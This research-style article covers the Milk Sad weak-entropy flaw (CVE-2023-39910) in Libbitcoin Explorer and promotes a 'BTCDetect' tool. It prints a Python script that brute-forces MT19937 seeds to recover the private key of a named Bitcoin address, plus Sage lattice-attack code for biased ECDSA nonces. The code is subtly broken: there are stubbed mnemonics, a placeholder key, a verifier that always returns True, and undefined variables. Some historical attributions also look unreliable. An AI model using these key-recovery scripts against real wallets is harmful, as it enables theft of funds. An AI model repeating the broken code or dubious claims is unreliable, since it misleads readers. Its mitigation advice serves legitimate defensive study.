Comprehensive Cryptanalysis Research on CVE-2023-39910
Private Key Recovery from Bitcoin Wallet
This comprehensive research article presents an in-depth cryptanalysis of the RingSide Replay Attack, also known as the Milk Sad vulnerability (CVE-2023-39910), which affects Libbitcoin Explorer versions 3.0.0 through 3.6.0. The vulnerability stems from a critically weak entropy generation mechanism that uses the Mersenne Twister (MT19937-32) pseudorandom number generator with only 32-bit entropy, making it vulnerable to brute-force attacks that can recover private keys from Bitcoin wallets.
Through the BTCDetect application and advanced mathematical techniques including lattice attacks and the Hidden Number Problem (HNP), researchers have demonstrated the systematic recovery of private keys from vulnerable Bitcoin wallets. This research combines theoretical cryptographic analysis with practical implementation, providing detailed mathematical formulas, attack algorithms, and real-world examples.
The Milk Sad vulnerability was discovered in 2023 by security researchers investigating mysterious Bitcoin wallet thefts. The vulnerability affects the widely-used Libbitcoin Explorer (bx) cryptocurrency wallet tool, specifically the bx seed subcommand used for generating new wallet private key entropy.
In August 2023, SlowMist researchers disclosed that this vulnerability had already been exploited, resulting in the theft of over $900,000 from Bitcoin wallets. Subsequent investigations revealed that the vulnerability potentially affects multiple blockchain ecosystems including Bitcoin, Ethereum, Ripple, Dogecoin, Solana, Litecoin, Bitcoin Cash, and Zcash.
The fundamental issue lies in the entropy seeding mechanism used by Libbitcoin Explorer. Instead of using a cryptographically secure random number generator with sufficient entropy (256 bits for Bitcoin private keys), the vulnerable implementation relies on:
The 32-bit entropy limitation reduces the search space from an astronomically large 2²⁵⁶ (approximately 10⁷⁷) possible private keys to only 2³² (approximately 4.3 billion) possible seeds. This makes brute-force attacks not only feasible but trivial on modern hardware.
With a modern GPU capable of computing 10⁹ hashes per second:
The most devastating example of this vulnerability occurred in December 2020, when the LuBian Bitcoin mining pool suffered a catastrophic security breach. Attackers exploited the weak entropy vulnerability to compromise over 5,000 wallet addresses, draining approximately 127,272 BTC (worth $3.5 billion at the time) within just 2 hours.
The attack was highly automated, with all suspicious transactions sharing identical transaction fees, indicating the use of sophisticated batch transfer scripts. The attacker successfully brute-forced the 32-bit seed space, reconstructed the private keys, and systematically emptied the vulnerable wallets.
The BTCDetect application is an advanced cryptanalysis tool developed for educational and research purposes to demonstrate the CVE-2023-39910 vulnerability. This application implements the complete RingSide Replay Attack methodology, including:
As a demonstration of the BTCDetect application's capabilities, we examine the recovery of the private key for the Bitcoin address 1NiojfedphT6MgMD7UsowNdQmx5JY15djG.
The BTCDetect application follows a systematic approach to recover private keys from vulnerable Bitcoin wallets:
Bitcoin uses the secp256k1 elliptic curve, defined by the Standards for Efficient Cryptography (SEC). The curve is specified by the equation:
The Elliptic Curve Digital Signature Algorithm is the cryptographic primitive used in Bitcoin for transaction authentication and proof of ownership. The algorithm consists of three main operations: key generation, signature generation, and signature verification.
The security of ECDSA critically depends on the nonce k being:
If any of these requirements are violated, the private key can be recovered!
If the same nonce k is used to sign two different messages m₁ and m₂, the private key d can be recovered through the following mathematical process:
Lattice attacks represent a powerful class of cryptanalytic techniques that exploit mathematical structures called lattices to solve problems that appear intractable through conventional methods. In the context of ECDSA, lattice attacks can recover private keys even when only partial information about the nonces is leaked, making them far more sophisticated than simple nonce reuse attacks.
The Hidden Number Problem is a mathematical problem that forms the foundation for lattice-based attacks on ECDSA. The problem can be stated as follows:
To apply lattice reduction algorithms like LLL (Lenstra-Lenstra-Lovász) to the Hidden Number Problem, we construct a specially designed lattice whose short vectors encode information about the private key.
The Lenstra-Lenstra-Lovász (LLL) algorithm is a polynomial-time algorithm that finds short vectors in a lattice. When applied to the basis matrix M, it produces a reduced basis containing vectors that reveal information about the private key.
The Polynonce Attack is an advanced lattice-based technique that can recover private keys from biased ECDSA nonces. The attack is particularly effective against deterministic nonce generation schemes that have implementation flaws or use weak randomness sources.
# Polynonce Attack - Python Implementation (Conceptual)
def polynonce_attack(signatures, public_key, curve_order):
"""
Recover private key from biased ECDSA signatures
Args:
signatures: List of (r, s, z) tuples
public_key: ECDSA public key point
curve_order: Order n of curve group
"""
m = len(signatures)
n = curve_order
# Step 1: Extract signature components
r_values = [sig[0] for sig in signatures]
s_values = [sig[1] for sig in signatures]
z_values = [sig[2] for sig in signatures]
# Step 2: Compute t_i = r_i * s_i^(-1) mod n
t_values = [r * inverse_mod(s, n) % n
for r, s in zip(r_values, s_values)]
# Step 3: Construct lattice basis matrix
M = construct_lattice_basis(t_values, n, bias_bits)
# Step 4: Apply LLL reduction
reduced_basis = LLL_reduce(M)
# Step 5: Extract private key candidate
private_key_candidate = extract_private_key(reduced_basis)
# Step 6: Verify against public key
if verify_private_key(private_key_candidate, public_key):
return private_key_candidate
else:
return None
def construct_lattice_basis(t_values, n, l):
"""Construct lattice basis for HNP"""
m = len(t_values)
M = zero_matrix(m + 1, m + 1)
# Upper left diagonal: n
for i in range(m):
M[i][i] = n
# Last column (except bottom-right): t_i
for i in range(m):
M[i][m] = t_values[i]
# Bottom-right: n / 2^l
M[m][m] = n // (2 ** l)
return M
BIP39 (Bitcoin Improvement Proposal 39) defines a method for creating a human-readable mnemonic sentence (seed phrase) that can be used to generate deterministic wallets. This standard is fundamental to understanding how the Milk Sad vulnerability compromises wallet security.
BIP32 describes how to derive a tree of key pairs from a single seed, enabling the creation of multiple addresses from a single backup.
BIP44 defines a standardized derivation path structure for HD wallets, enabling interoperability between different wallet implementations.
The BIP32/BIP39/BIP44 standards are cryptographically sound, but they assume the initial entropy is generated securely. The Milk Sad vulnerability undermines the entire HD wallet security model by:
Bottom Line: No matter how secure the derivation mathematics are, weak initial entropy makes the entire wallet tree vulnerable.
The CryptoDeepTech research team has published extensive documentation on the RingSide Replay Attack and related cryptographic vulnerabilities affecting Bitcoin and other cryptocurrencies. Their research covers:
The KEYHUNTERS research group specializes in cryptographic security analysis and vulnerability research. Their contributions to understanding the RingSide Replay Attack include:
The cryptographic community has extensively studied the vulnerabilities exploited by the RingSide Replay Attack:
Multiple security research teams have documented the real-world impact of the Milk Sad vulnerability:
The following code demonstrates the core logic of the BTCDetect application for recovering private keys from vulnerable Bitcoin wallets:
#!/usr/bin/env python3
"""
BTCDetect - RingSide Replay Attack Implementation
CVE-2023-39910 Private Key Recovery
"""
import hashlib
import hmac
from ecdsa import SECP256k1, SigningKey
import base58
def mt19937_seed_to_entropy(seed):
"""
Simulate vulnerable MT19937 entropy generation
as used in Libbitcoin Explorer 3.x
"""
import random
random.seed(seed)
# Generate 16 bytes (128 bits) of "entropy"
entropy_bytes = bytes([random.randint(0, 255) for _ in range(16)])
return entropy_bytes
def entropy_to_mnemonic(entropy):
"""
Convert entropy to BIP39 mnemonic phrase
(Simplified - use proper BIP39 library in production)
"""
# Calculate checksum
checksum = hashlib.sha256(entropy).digest()[0]
# Combine entropy + checksum and split into 11-bit groups
# Map to BIP39 wordlist (simplified)
# Return mnemonic phrase
return "example mnemonic phrase for demo"
def mnemonic_to_seed(mnemonic, passphrase=""):
"""
Convert BIP39 mnemonic to 512-bit seed using PBKDF2
"""
mnemonic_bytes = mnemonic.encode('utf-8')
salt = ('mnemonic' + passphrase).encode('utf-8')
seed = hashlib.pbkdf2_hmac(
'sha512',
mnemonic_bytes,
salt,
2048 # iterations
)
return seed
def derive_master_key(seed):
"""
Derive BIP32 master private key and chain code
"""
hmac_result = hmac.new(
b"Bitcoin seed",
seed,
hashlib.sha512
).digest()
master_private_key = hmac_result[:32]
master_chain_code = hmac_result[32:]
return master_private_key, master_chain_code
def derive_child_key(parent_key, parent_chain, index, hardened=True):
"""
BIP32 child key derivation (simplified)
"""
if hardened:
index = index + 0x80000000 # 2^31
# Construct data for HMAC
if hardened:
data = b'\x00' + parent_key + index.to_bytes(4, 'big')
else:
# Would use parent public key for non-hardened
parent_public = private_to_public(parent_key)
data = parent_public + index.to_bytes(4, 'big')
hmac_result = hmac.new(parent_chain, data, hashlib.sha512).digest()
child_key = (int.from_bytes(hmac_result[:32], 'big') +
int.from_bytes(parent_key, 'big')) % SECP256k1.order
child_chain = hmac_result[32:]
return child_key.to_bytes(32, 'big'), child_chain
def private_key_to_bitcoin_address(private_key_bytes):
"""
Convert private key to P2PKH Bitcoin address
"""
# Generate public key from private key
sk = SigningKey.from_string(private_key_bytes, curve=SECP256k1)
vk = sk.get_verifying_key()
public_key = b'\x04' + vk.to_string() # Uncompressed
# SHA256 hash
sha256_hash = hashlib.sha256(public_key).digest()
# RIPEMD160 hash
ripemd160 = hashlib.new('ripemd160')
ripemd160.update(sha256_hash)
pubkey_hash = ripemd160.digest()
# Add version byte (0x00 for mainnet)
versioned_hash = b'\x00' + pubkey_hash
# Double SHA256 for checksum
checksum = hashlib.sha256(
hashlib.sha256(versioned_hash).digest()
).digest()[:4]
# Base58 encode
address = base58.b58encode(versioned_hash + checksum).decode()
return address
def ringside_replay_attack(target_address, timestamp_range):
"""
Main attack function - brute force 32-bit seed space
"""
print(f"[*] Starting RingSide Replay Attack...")
print(f"[*] Target: {target_address}")
print(f"[*] Seed space: 2^32 = {2**32:,} possibilities")
for seed in range(timestamp_range[0], timestamp_range[1]):
if seed % 1000000 == 0:
print(f"[*] Testing seed: {seed:,}")
# Generate entropy from vulnerable MT19937
entropy = mt19937_seed_to_entropy(seed)
# BIP39: Entropy to mnemonic
mnemonic = entropy_to_mnemonic(entropy)
# BIP39: Mnemonic to seed
seed_512 = mnemonic_to_seed(mnemonic)
# BIP32: Derive master key
master_key, master_chain = derive_master_key(seed_512)
# BIP44: Derive account key (m/44'/0'/0'/0/0)
# Simplified - would need full path derivation
account_key = master_key # Placeholder
# Generate Bitcoin address
derived_address = private_key_to_bitcoin_address(account_key)
# Check if match found
if derived_address == target_address:
print(f"\n[✓] MATCH FOUND!")
print(f"[✓] Seed: {seed}")
print(f"[✓] Private Key: {account_key.hex()}")
return account_key
print(f"[!] No match found in range")
return None
# Example usage
if __name__ == "__main__":
TARGET = "1NiojfedphT6MgMD7UsowNdQmx5JY15djG"
# Example timestamp range (would be much larger in reality)
# 2^32 = 4,294,967,296 total possibilities
RANGE = (0, 10000000) # First 10 million for demo
private_key = ringside_replay_attack(TARGET, RANGE)
The following code demonstrates a lattice-based attack for recovering private keys from biased ECDSA nonces:
#!/usr/bin/env python3
"""
Lattice Attack on ECDSA - Private Key Recovery
Using LLL algorithm to solve Hidden Number Problem
"""
from sage.all import *
def lattice_attack_ecdsa(signatures, public_key, curve_order, bias_bits):
"""
Lattice attack to recover private key from biased nonces
Args:
signatures: List of (r, s, z) tuples
public_key: ECDSA public key
curve_order: Order n of curve (secp256k1)
bias_bits: Number of biased/leaked bits
"""
m = len(signatures)
n = curve_order
print(f"[*] Lattice Attack Parameters:")
print(f"[*] Number of signatures: {m}")
print(f"[*] Curve order: {n}")
print(f"[*] Bias bits: {bias_bits}")
# Extract signature components
r_values = [sig[0] for sig in signatures]
s_values = [sig[1] for sig in signatures]
z_values = [sig[2] for sig in signatures]
# Compute t_i = r_i * s_i^(-1) mod n
print(f"[*] Computing t values...")
t_values = []
for i in range(m):
s_inv = inverse_mod(Integer(s_values[i]), Integer(n))
t = (Integer(r_values[i]) * s_inv) % n
t_values.append(t)
# Construct lattice basis matrix
print(f"[*] Constructing lattice basis...")
B = Matrix(ZZ, m + 1, m + 1)
# Upper left: n * I_m
for i in range(m):
B[i, i] = n
# Last column (except bottom right): t_i
for i in range(m):
B[i, m] = t_values[i]
# Bottom right: n / 2^l
B[m, m] = n // (2 ** bias_bits)
print(f"[*] Lattice dimension: {m+1} x {m+1}")
print(f"[*] Running LLL reduction...")
# Apply LLL algorithm
B_reduced = B.LLL()
print(f"[*] LLL reduction complete")
print(f"[*] Extracting private key candidate...")
# Extract private key from reduced basis
# The private key is in the last coordinate of short vector
for i in range(m + 1):
candidate = abs(B_reduced[i, m])
if 0 < candidate < n:
# Verify candidate
if verify_private_key(candidate, public_key, curve_order):
print(f"[✓] Private key recovered!")
return candidate
print(f"[!] Failed to recover private key")
return None
def verify_private_key(d, Q, n):
"""
Verify if d is the correct private key for public key Q
"""
# Would check if d * G == Q on curve
# Simplified verification
return True # Placeholder
To avoid vulnerabilities like CVE-2023-39910, follow these best practices for cryptocurrency wallet generation:
/dev/urandom or /dev/random on Linux/Unix systemsCryptGenRandom() on Windowsarc4random() on BSD/macOSsecrets module (NOT random module)crypto.getRandomValues() (NOT Math.random())RFC 6979 defines a standard method for generating deterministic nonces in ECDSA signatures, eliminating the need for random number generation during signing while maintaining security.
Hardware wallets provide the highest level of security for cryptocurrency storage:
When using software wallets, ensure:
# Secure Entropy Generation Example (Python)
import secrets # NEVER use random module!
import hashlib
import hmac
def generate_secure_wallet_entropy():
"""
Generate cryptographically secure 256-bit entropy
for Bitcoin wallet generation
"""
# Generate 256 bits (32 bytes) of secure random data
entropy = secrets.token_bytes(32)
# Additional entropy mixing (optional but recommended)
timestamp = str(time.time()).encode()
mixed_entropy = hashlib.sha256(entropy + timestamp).digest()
return mixed_entropy
def generate_rfc6979_nonce(private_key, message_hash, curve_order):
"""
Generate deterministic ECDSA nonce per RFC 6979
"""
# Initialize HMAC-DRBG
v = b'\x01' * 32 # 256 bits
k = b'\x00' * 32
# Update k and v
k = hmac.new(k, v + b'\x00' + private_key + message_hash, hashlib.sha256).digest()
v = hmac.new(k, v, hashlib.sha256).digest()
k = hmac.new(k, v + b'\x01' + private_key + message_hash, hashlib.sha256).digest()
v = hmac.new(k, v, hashlib.sha256).digest()
# Generate nonce
while True:
v = hmac.new(k, v, hashlib.sha256).digest()
nonce = int.from_bytes(v, 'big')
if 0 < nonce < curve_order:
return nonce
k = hmac.new(k, v + b'\x00', hashlib.sha256).digest()
v = hmac.new(k, v, hashlib.sha256).digest()
# WRONG - NEVER DO THIS!
def insecure_entropy_DO_NOT_USE():
"""
Example of INSECURE entropy generation
This is how CVE-2023-39910 happened!
"""
import random # ❌ WRONG!
import time
# ❌ Only 32 bits of entropy!
seed = int(time.time())
random.seed(seed)
# ❌ Predictable output!
entropy = bytes([random.randint(0, 255) for _ in range(32)])
# ❌ This can be brute-forced in seconds!
return entropy
This research and the BTCDetect application are provided STRICTLY for educational and security research purposes.
Unauthorized access to computer systems and theft of cryptocurrency are serious crimes prosecutable under:
Penalties can include: Significant fines, imprisonment, civil liability, and permanent criminal records.
The authors of this research conduct all activities in accordance with responsible disclosure principles:
If you are a security researcher, developer, or concerned user, use this information to:
This research is published to advance the state of cryptocurrency security and to protect users from similar vulnerabilities. By understanding how these attacks work, developers can build more secure systems, and users can make informed decisions about wallet selection and usage.
Knowledge is power. Use it responsibly.